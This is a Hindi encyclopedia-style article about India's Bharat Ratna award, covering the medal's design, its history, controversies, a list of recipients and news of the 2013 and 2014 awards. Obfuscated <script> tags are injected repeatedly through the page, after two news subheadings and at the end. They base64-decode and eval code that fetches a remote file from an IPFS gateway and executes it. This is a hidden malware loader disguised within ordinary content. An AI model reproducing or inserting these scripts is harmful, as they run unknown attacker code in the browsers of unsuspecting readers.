इस पुरस्‍कार के रूप में दिए जाने वाले सम्‍मान की मूल रूप-रेखा 35 मिलिमीटर व्‍यास वाला गोलाकार स्‍वर्ण पदक है जिस पर सूर्य और ऊपर हिन्दी भाषा में भारत रत्‍न और नीचे एक फूलों का गुलदस्‍ता बना होता है पीछे की ओर शासकीय संकेत और आदर्श-वाक्‍य लिखा होता है। इसे सफ़ेद फीते में डालकर गले में पहनाया जाता है। एक वर्ष बाद इस डिजाइन को बदल दिया गया था। तांबे के बने पीपल के पत्ते पर प्लेटिनम का चमकता सूर्य बना दिया गया। जिसके नीचे चाँदी में लिखा रहता है "भारत रत्न" और यह सफ़ेद फीते के साथ गले में पहना जाता है।

इतिहास

यह पुरस्कार 2 जनवरी 1954 को प्रारम्भ किया गया था। यह पुरस्कार भारत के प्रथम राष्ट्रपति श्री राजेन्द्र प्रसाद द्वारा घोषित किया गया था। दूसरे अलंकरणों के भाँति इस सम्मान को भी, नाम के साथ पदवी के रूप में प्रयोग नहीं किया जा सकता है। शुरू में इस सम्मान को 'मरणोपरांत' नहीं दिया जाता था, किंतु 1955 के बाद यह निर्णय लिया गया और यह मरणोपरांत भी दिया जाने लगा। 13 जुलाई, 1977 से 26 जनवरी, 1980 तक इस पुरस्कार को स्थगित कर दिया गया था।

परम्परा

भारत रत्‍न पुरस्‍कार की परम्‍परा 1954 में शुरू हुई थी।

  • भारत रत्न 26 जनवरी को भारत के राष्ट्रपति द्वारा दिया जाता है।
  • सबसे पहला पुरस्‍कार प्रसिद्ध वैज्ञानिक चंद्रशेखर वेंकटरमन को दिया गया था। तब से अनेक विशिष्‍ट जनों को अपने-अपने क्षेत्र में उत्‍कृष्‍टता पाने के लिए यह पुरस्‍कार प्रस्‍तुत किया गया है।
  • जनता पार्टी द्वारा इस पुरस्कार को 1977 में बंद कर दिया गया था किंतु 1980 में कांग्रेस सरकर ने इसे फिर से दोबारा शुरू किया।
  • 1980 में दोबारा शुरू होने पर इसे सर्वप्रथम मदर टेरेसा ने प्राप्त किया था।
  • हमारे भूतपूर्व राष्‍ट्रपति, वैज्ञानिक डॉ. ए. पी. जे. अब्‍दुल कलाम को भी 1997 में यह प्रतिष्ठित पुरस्‍कार दिया गया।
  • इसका कोई लिखित प्रावधान नहीं है कि 'भारत रत्‍न' केवल भारतीय नागरिकों को ही दिया जाएगा।
  • यह पुरस्‍कार स्‍वाभाविक रूप से भारतीय नागरिक बन चुकी 'एग्‍नेस गोंखा बोजाखियू', जिन्‍हें हम मदर टेरेसा के नाम से जानते हैं, को दिया गया।
  • दो अन्‍य अभारतीय - ख़ान अब्दुलगफ़्फ़ार ख़ान को 1987 में और नेल्‍सन मंडेला को 1990 में यह पुरस्कार दिया गया।
  • यह भी अनिवार्य नहीं है कि भारत रत्‍न सम्‍मान प्रतिवर्ष दिया जाएगा।
  • मरणोपरांत सर्वप्रथम लालबहादुर शास्त्री को भारत रत्न से सम्मानित किया गया था।
  • श्री सत्यपाल आनन्द ने राजीव गाँधी को मरणोपरांत भारत रत्न देने की प्रक्रिया को मध्य प्रदेश उच्च न्यायालय में चुनौती दी थी।

विरोधाभास

  • स्वतंत्रता सेनानी नेताजी सुभाषचन्द्र बोस को 1992 में 'भारत रत्न' से मरणोपरान्त सम्मानित किया गया था। किंतु उनकी मृत्यु विवादित होने के कारण अनेक प्रश्नों को उठाया गया था। अत: भारत सरकार ने यह पुरस्कार वापस ले लिया था। यह पुरस्कार वापस लेने का यह एकमात्र उदाहरण है।
  • स्वतंत्र भारत के प्रथम शिक्षा मंत्री मौलाना अबुल कलाम आज़ाद को जब 'भारत रत्न' दिया गया तो उन्होंने इसका विरोध किया। उनका विचार था कि इसकी चयन समिति में रहे व्यक्ति को यह सम्मान नहीं दिया जाना चाहिये। 1992 में उन्हें मरणोपरांत 'भारत रत्न' दिया गया।

भारत रत्न सम्मानित व्यक्तित्व सूची

क्रम वर्ष नाम कार्य क्षेत्र चित्र
1 1954 डॉक्टर सर्वपल्ली राधाकृष्णन 5 सितंबर 1888-17 अप्रैल 1975 दार्शनिक Sarvepalli-Radhakrishnan.jpg
2 1954 चक्रवर्ती राजगोपालाचारी स्वतंत्रता सेनानी C-Rajagopalachari.jpg
3 1954 डॉ. सी. वी. रमन भौतिकशास्त्री C.V Raman.jpg
4 1955 डॉक्टर भगवान दास स्वतंत्रता सेनानी Dr.Bhagwan-Das.jpg
5 1955 सर डॉ. मोक्षगुंडम विश्वेश्वरय्या सिविल इंजीनियर Mokshagundam-Visvesvarayya.jpg
6 1955 पं. जवाहर लाल नेहरू स्वतंत्रता सेनानी Jawahar-Lal-Nehru.jpg
7 1957 गोविंद बल्लभ पंत स्वतंत्रता सेनानी Pandit-Govind-Ballabh-Pant.jpg
8 1958 डॉ. धोंडो केशव कर्वे समाज सुधारक Dhondo-Keshav-Karve.jpg
9 1961 डॉ. बिधान चंद्र राय चिकित्सक Dr.Bidhan-Chandra-Roy.gif
10 1961 पुरुषोत्तम दास टंडन स्वतंत्रता सेनानी Purushottam Das Tandon.jpg
11 1962 डॉ. राजेंद्र प्रसाद स्वतंत्रता सेनानी Dr.Rajendra-Prasad.jpg
12 1963 डॉ. ज़ाकिर हुसैन विद्वान Dr.Zakir-Hussain.jpg
13 1963 डॉ. पांडुरंग वामन काणे संस्कृत विद्वान Dr.Pandurang-Vaman-Kane.jpg
14 1966 लाल बहादुर शास्त्री स्वतंत्रता सेनानी Lal-Bahadur-Shastri.jpg
15 1971 इंदिरा गाँधी राजनीतिज्ञ Indira-Gandhi.jpg
16 1975 वराहगिरी वेंकट गिरी श्रमिक संघवादी V.V.Giri.jpg
17 1976 के. कामराज स्वतंत्रता सेनानी K.Kamaraj.jpg
18 1980 मदर टेरेसा कॅथोलिक नन lnik=मदर टेरेसा
19 1983 आचार्य विनोबा भावे स्वतंत्रता सेनानी Vinoba-Bhave.jpg
20 1987 ख़ान अब्दुलगफ़्फ़ार ख़ान स्वतंत्रता सेनानी Khan-Abdul-Ghaffar-Khan.jpg
21 1988 मरुदुर गोपालन रामचन्द्रन (एम जी आर) अभिनेता, राजनीतिज्ञ M.G.Ramachandran.jpg
22 1990 डॉ. भीमराव रामजी आम्बेडकर राजनीतिज्ञ, अर्थशास्त्री Dr.Bhimrao-Ambedkar.jpg
23 1990 नेल्‍सन मंडेला रंगभेद विरोधी आंदोलन के नेता Nelson-Mandela.jpg
24 1991 राजीव गाँधी राजनीतिज्ञ Rajiv-Gandhi.jpg
25 1991 सरदार वल्लभ भाई पटेल स्वतंत्रता सेनानी Sardar-Vallabh-Bhai-Patel.jpg
26 1991 मोरारजी देसाई स्वतंत्रता सेनानी Morarji-Desai.jpg
27 1992 मौलाना अबुल कलाम आज़ाद स्वतंत्रता सेनानी Abul-Kalam-Azad.gif
28 1992 जहांगीर रतनजी दादाभाई टाटा (जे. आर. डी. टाटा) उद्योगपति J.R.D-Tata.jpg
29 1992 सत्यजीत रे (राय) फ़िल्म निर्माता-निर्देशक Satyajit Ray.jpg
30 1997 डॉ. ए. पी. जे. अब्दुल कलाम वैज्ञानिक A.P.J-Abdul-Kalam.jpg
31 1997 गुलज़ारीलाल नन्दा स्वतंत्रता सेनानी Guljari-Lal Nanda.jpg
32 1997 अरुणा आसफ़ अली स्वतंत्रता सेनानी Aruna-Asaf-Ali.jpg
33 1998 एम.एस. सुब्बालक्ष्मी शास्त्रीय गायिका M.S.Subbulakshmi.jpg
34. 1998 सी. सुब्रह्मण्यम स्वतंत्रता सेनानी C.Subramaniam.jpg
35 1998 जयप्रकाश नारायण स्वतंत्रता सेनानी Jayaprakash-Narayan .jpg
36 1999 पं. रवि शंकर सितार वादक Pandit-Ravi-Shankar.jpg
37 1999 अमर्त्य सेन अर्थशास्त्री Amartya Sen.jpg
38 1999 गोपीनाथ बोरदोलोई स्वतंत्रता सेनानी Gopinath-bordoloi.jpg
39 2001 लता मंगेशकर पार्श्व गायिका Lata-Mangeshkar.jpg
40 2001 उस्ताद बिस्मिल्ला ख़ां शहनाई वादक Ustad-Bismillah-khan.jpg
41 2008 पं.भीमसेन जोशी शास्त्रीय गायक Pandit-Bhimsen-Joshi.jpg
42 2013 प्रो. सी. एन. आर. राव रसायन वैज्ञानिक CNR Rao.jpg
43 2013 सचिन तेंदुलकर क्रिकेट खिलाड़ी Sachin-Tendulkar-2.jpg
44 2014 मदन मोहन मालवीय विद्वान Pandit-Madan-Mohan-Malaviya.jpg
45 2014 अटल बिहारी वाजपेयी राजनीतिज्ञ Atal-Bihari-Vajpayee.jpg

समाचार

24 दिसम्बर, 2014 बुधवार

अटल बिहारी वाजपेयी और मदन मोहन मालवीय को भारत रत्न देने की घोषणा

भारत के पूर्व प्रधानमंत्री अटल बिहारी वाजपेयी और महामना मदन मोहन मालवीय को देश के सर्वोच्च नागरिक सम्मान भारत रत्न से सम्मानित किए जाने की घोषणा की गई है। केंद्रीय कैबिनेट ने दोनों को यह सम्मान देने का फैसला गुरुवार को वाजपेयी के 90वें जन्मदिन से एक दिन पहले किया है। मालवीय का जन्मदिन भी 25 दिसंबर को ही पड़ता है। राष्ट्रपति भवन की ओर से जारी बयान में कहा गया, 'राष्ट्रपति बेहद हर्ष के साथ पंडित मदन मोहन मालवीय (मरणोपरांत) और अटल बिहारी वाजपेयी को भारत रत्न से सम्मानित करते हैं।' भारत के सर्वाधिक करिश्माई नेताओं में से एक अटल बिहारी वाजपेयी को एक महान नेता और अक्सर भारतीय जनता पार्टी का उदारवादी चेहरा बताया जाता है। पिछले कुछ समय से बीमार चल रहे वाजपेयी को कई ठोस पहल करने का श्रेय दिया जाता है, जिनमें भारत और पाकिस्तान के बीच मतभेदों को कम करने का उनका प्रयास प्रमुख रूप से शामिल है। वाजपेयी ऐसे पहले प्रधानमंत्री बने जिनका संबंध कभी कांग्रेस से नहीं रहा। दूरदृष्टा और महान शिक्षाविद् महामना मदन मोहन मालवीय की मुख्य उपलब्धियों में बनारस हिन्दू विश्वविद्यालय की स्थापना शामिल है। 25 दिसंबर 1861 को जन्मे मदन मोहन मालवीय 1886 में कोलकाता में कांग्रेस के दूसरे सत्र में अपने पहले विचारोत्तेजक भाषण के तुरंत बाद ही राजनीति में आ गए थे। वह 1909 से 1918 के बीच भारतीय राष्ट्रीय कांग्रेस के अध्यक्ष रहे। मालवीय को स्वतंत्रता संग्राम में उनकी सशक्त भूमिका और हिंदू राष्ट्रवाद के प्रति उनके समर्थन के लिए भी याद किया जाता है। वह दक्षिणपंथी हिंदू महासभा के शुरुआती नेताओं में से एक थे। प्रधानमंत्री नरेन्द्र मोदी ने खुद राष्ट्रपति से इन दोनों महान हस्तियों को भारत रत्न से सम्मानित करने की सिफारिश की थी।

समाचार को विभिन्न स्रोतों पर पढ़ें

16 नवंबर, 2013 शनिवार

सचिन तेंदुलकर और प्रो. सीएनआर राव को भारत रत्न देने की घोषणा

मास्टर ब्लास्टर सचिन तेंदुलकर और वैज्ञानिक प्रो. सीएनआर राव को देश का सर्वोच्च नागरिक सम्मान 'भारत रत्न' देने की घोषणा की गई है। भारत सरकार ने कई वर्षों बाद भारत रत्न पुरस्कार दिए हैं। पिछली बार यह पुरस्कार पंडित भीमसेन जोशी को सन् 2008 में दिया गया था।

प्रो. सीएनआर राव

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

भारत रत्न से सम्मानित किए जाने वाले देश के प्रमुख रसायन वैज्ञानिक डॉ. सीएनआर राव की ठोस अवस्था सॉलिड स्टेट एवं और स्ट्रक्चरल रसायन विज्ञान में भारत ही नहीं दुनिया भर में कोई सानी नहीं है। डॉ. राव न केवल उत्कृष्ट रसायनशास्त्री है बल्कि उन्होंने देश की वैज्ञानिक नीतियों को बनाने में भी अग्रणी भूमिका निभाई है। इस समय डॉ. राव प्रधनमंत्री की वैज्ञानिक सलाहकार समिति के अध्यक्ष हैं। वह सन 1985 में प्रथम बार और सन 2005 में दूसरी बार इस समिति के अध्यक्ष नियुक्त हुए हैं।

सचिन तेंदुलकर

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अपने 24 साल के गौरवपूर्ण अंतरराष्ट्रीय करियर का अंत करने वाले सचिन तेंदुलकर को वेस्टइंडीज के ख़िलाफ़ मुंबई में उनके विदाई टेस्ट के समाप्त होते ही इस शीर्ष पुरस्कार के लिए चुन लिया गया। राष्ट्रपति भवन के प्रवक्ता वेणु राजामोनी की एक संक्षिप्त बयान जारी करके कहा कि राष्ट्रपति ने तेंदुलकर को भारत रत्न देने का फैसला किया है, जिन्होंने आज अंतरराष्ट्रीय क्रिकेट को अलविदा कहा।

समाचार को विभिन्न स्रोतों पर पढ़ें


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका-टिप्पणी और संदर्भ

  1. अब तक कुल 43 लोगों को भारत रत्न से सम्मानित किया गया है जिसमें दो विदेशी नागरिक (ख़ान अब्दुलगफ़्फ़ार ख़ान और नेल्‍सन मंडेला) भी शामिल हैं।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>